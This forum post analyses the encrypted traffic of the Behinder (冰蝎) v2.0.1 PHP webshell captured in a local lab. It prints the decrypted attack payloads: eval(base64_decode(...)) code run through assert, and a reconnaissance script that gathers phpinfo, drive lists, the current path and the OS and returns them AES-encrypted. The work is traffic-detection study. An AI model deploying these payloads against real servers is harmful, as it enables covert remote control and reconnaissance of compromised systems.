电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 696 人浏览分享

冰蝎v2.0.1流量分析

[复制链接]
696 0
冰蝎经过一系列的迭代,流量特征各有不同,我们以版本顺序探究冰蝎流量的进化史

冰蝎v2.0.1

1、冰蝎自带webshell,我们以php的webshell为例(已加注释):

QQ截图20221017141509.png

2、将此文件放入被攻击服务器网站下,然后运行冰蝎客户端,新建连接

QQ截图20221017141545.png

3、使用wireshark抓取冰蝎流量包

(1)由于我的冰蝎客户端与被攻击服务器在同一台电脑上,因此wireshark的网卡应选择如下:

1639.png

(2)开始捕获后,点击新建的连接进入webshell管理界面

QQ截图20221017141728.png

(3)在wireshark中即可捕获到冰蝎客户端与服务器通信的数据包

1829.png

(4)追踪HTTP流即可看到冰蝎客户端与服务器的完整通信过程

1828.png

1826.png

4、分析冰蝎与服务器的通信过程

1822.png

(1)当冰蝎第一次访问服务器webshell时,以GET方式提交随机数字,因此服务器将会生成16位的随机字符
串写入session后通过print函数将密钥返回客户端;

(2)冰蝎第二次访问服务器时以相同方式更新密钥;

1636.png

(3)经过一次密钥产生与一次密钥更新后,双方开始以对称密钥进行加密通信,首先是冰蝎向服务器
发送加密数据,而解密函数在webshell中:

1632.png

我们通过解密方式解密请求包数据:

222.png

221.png

220.png

因此得到冰蝎发送的请求包实际载荷为:

assert|eval(base64_decode('QGVycmyX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIG1haW4oJGNvbnRlbnQpD
Qp7DQoJJHJlc3VsdCA9IGFycmF5KCk7DQoJJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZX
NzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRjb250ZW50KTsNCiAgICAka2V5ID0gJF9T
RVNTSU9OWydrJ107DQogICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCRrZXkpOw0K
fQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ2
9wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZmyKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogIC
AgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZX
R1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY
3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgICAJfQ0KfSRjb250ZW50PSI1NzE3OGJkNS03YzJhLT
RjNTgtYTZlOC01NmUyYTJjZjYyMjMiOw0KbWFpbigkY29udGVudCk7'));

其中base64解码数据为:

@error_reporting(0);
function main($content)
{
        $result = array();
        $result["status"] = base64_encode("success");
        $result["msg"] = base64_encode($content);
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
         for($i=0;$i $data[$i] = $data[$i]^$key[$i+1&15];
         return $data;
        }
        else
        {
         return openssl_encrypt($data, "AES128", $key);
        }
}
$content="57178bd5-7c2a-4c58-a6e8-56e2a2cf6223";
main($content);

以上base64解码便是冰蝎的实际攻击代码;

梳理一下本次数据的处理过程:

【1】冰蝎将AES加密数据发送至服务器webshell;
【2】webshell检测到没有以GET方式提交的pass参数的值,因此调用openssl扩展,结合冰蝎发送的数据和session
中的密钥进行AES解密,得到解密后的载荷assert|eval(base64_decode('QGVy......;
【3】以|为分隔符,将解密后的载荷分隔为两部分,将执行载荷的过程放入自定义类C的魔术函数__construct()中;
【4】实例化自定义类,触发__construct()函数,执行eval(base64_decode('QGVy......;
【5】执行时,首先进行base64解码,然后执行解码后的代码,代码中定义了result数组,result数组有两个键值对:

'status':base64_encode("success")
'msg':base64_encode("57178bd5-7c2a-4c58-a6e8-56e2a2cf6223")
【6】然后从session中取得密钥,对result数组加密,将加密结果输出到客户端;
(4)冰蝎收到加密数据后,在内部进行解密(解密代码与解密的过程在冰蝎内部完成,我们看不到)
但是我们可以自行解密,查看服务器发送至冰蝎的真实数据:

189.png

188.png

因此得到服务器发送的响应包实际数据为:

{"status":"c3VjY2Vzcw==","msg":"NTcxNzhiZDUtN2MyYS00YzU4LWE2ZTgtNTZlMmEyY2Y2MjIz"}

经过base64解码后的结果为:

{"status":"success","msg":"57178bd5-7c2a-4c58-a6e8-56e2a2cf6223"}

和我们在(3)梳理的代码执行流程吻合;

紧接着上面的数据包进行分析:

169.png

(5)冰蝎客户端收到{"status":"success","msg":"57178bd5-7c2a-4c58-a6e8-56e2a2cf6223"}后再
次发送加密数据至服务器webshell,解密数据查看:

168.png

166.png

即冰蝎发送的请求包实际载荷为:

assert|eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gbWFpbigpIHsNCiAgICBvYl
9zdGFydCgpOyBwaHBpbmZvKCk7ICRpbmZvID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOw0
KICAgICRkcml2ZUxpc3QgPSIiOw0KICAgIGlmIChzdHJpc3RyKFBIUF9PUywid2luZG93cyIpfHxzdHJpc3RyKFBIU
F9PUywid2lubnQiKSkNCiAgICB7DQogICAgICAgIGZvcigkaT02NTskaTw9OTA7JGkrKykNCiAgICAJew0KICAgIA
kJJGRyaXZlPWNocigkaSkuJzovJzsNCiAgICAJCWZpbGVfZXhpc3RzKCRkcml2ZSkgPyAkZHJpdmVMaXN0PSRk
cml2ZUxpc3QuJGRyaXZlLiI7IjonJzsNCiAgICAJfQ0KICAgIH0NCgllbHNlDQoJew0KCQkkZHJpdmVMaXN0PSIvI
jsNCgl9DQogICAgJGN1cnJlbnRQYXRoPWdldGN3ZCgpOw0KICAgIC8vZWNobyAicGhwaW5mbz0iLiRpbmZv
LiJcbiIuImN1cnJlbnRQYXRoPSIuJGN1cnJlbnRQYXRoLiJcbiIuImRyaXZlTGlzdD0iLiRkcml2ZUxpc3Q7DQogICAg
JG9zSW5mbz1QSFBfT1M7DQogICAgJHJlc3VsdD1hcnJheSgiYmFzaWNJbmZvIj0+YmFzZTY0X2VuY29kZSgka
W5mbyksImRyaXZlTGlzdCI9PmJhc2U2NF9lbmNvZGUoJGRyaXZlTGlzdCksImN1cnJlbnRQYXRoIj0+YmFzZTY
0X2VuY29kZSgkY3VycmVudFBhdGgpLCJvc0luZm8iPT5iYXNlNjRfZW5jb2RlKCRvc0luZm8pKTsNCiAgICAvL2
VjaG8ganNvbl9lbmNvZGUoJHJlc3VsdCk7DQogICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgICRrZXk9JF9TRVNT
SU9OWydrJ107DQogICAgLy9lY2hvIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgIC8vZWNobyBvcGVuc3N
sX2VuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICJBRVMxMjgiLCAka2V5KTsNCiAgICBlY2hvIGVuY3J5cH
QoanNvbl9lbmNvZGUoJHJlc3VsdCksICRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZ
XkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZmyKCRp
PTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V
5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQo
gICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgI
CAJfQ0KfQ0KbWFpbigpOw=='));

base64解码数据为(中文注释为自己分析后加上):

error_reporting(0);
function main()
{
    ob_start();//打开输出缓冲区,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区
        phpinfo();//输出phpinfo信息到缓冲区
        $info = ob_get_contents();//将phpinfo信息存储到$info变量
        ob_end_clean();//清除内部缓冲区内容,并且关闭内部缓冲区
    $driveList ="";
    if(stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))//如果服务器操作系统为windows或winnt
    {
        for($i=65;$i<=90;$i++)
            {
                        $drive=chr($i).':/';
                    file_exists($drive) ? $driveList=$driveList.$drive.";":'';//获取服务器的所有盘符,形如"C:/;D:/;"
            }
    }
        else//如果服务器操作系统不是windows或winnt
        {
                $driveList="/";//则获取根目录
        }
    $currentPath=getcwd();//获取当前路径
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;//获取当前操作系统
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"curre
ntPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
    //echo json_encode($result);
    session_start();//创建新会话或者重用现有会话;如果通过GET/POST/cookie提交了会话ID
则会重用现有会话;此函数用于php文件共享一个会话内定义的变量
    $key=$_SESSION['k'];//得到本会话中存储于session中的AES密钥
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);//服务器输出AES加密后的数据(包括phpinfo信息
盘符信息,当前路径,操作系统)供冰蝎接收
}
function encrypt($data,$key)
{
        if(!extension_loaded('openssl'))
        {
                for($i=0;$i<strlen($data);$i++)
                {
                        $data[$i] = $data[$i]^$key[$i+1&15];
                }
                return $data;
        }
    else
        {
                return openssl_encrypt($data, "AES128", $key);
        }
}
main();

(6)由上面冰蝎发送的执行代码可知,服务器发送回的响应数据是经过AES加密后的以数组形式保存的phpinfo信息
盘符信息、当前路径、操作系统信息的base64编码,我们解密响应包数据验证一下:

12.png

11.png

即服务器发送的响应包的实际载荷为:

{"basicInfo":"PCFET0......jwvaHRtbD4=","driveList":"QzovO0Q6Lzs=","currentPath":"QzpcVG9vbHNc
UmFuZ2VzXHBocHN0dWR5X3Byb1xXV1dcdGVzdA==","osInfo":"V0lOTlQ="}

base64解码数据为:

{ "basicInfo":phpinfo信息, "driveList":"C:/;D:/;", "currentPath":"C:\Tools\Ranges\phps
tudy_pro\WWW\test", "osInfo":"WINNT" }

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.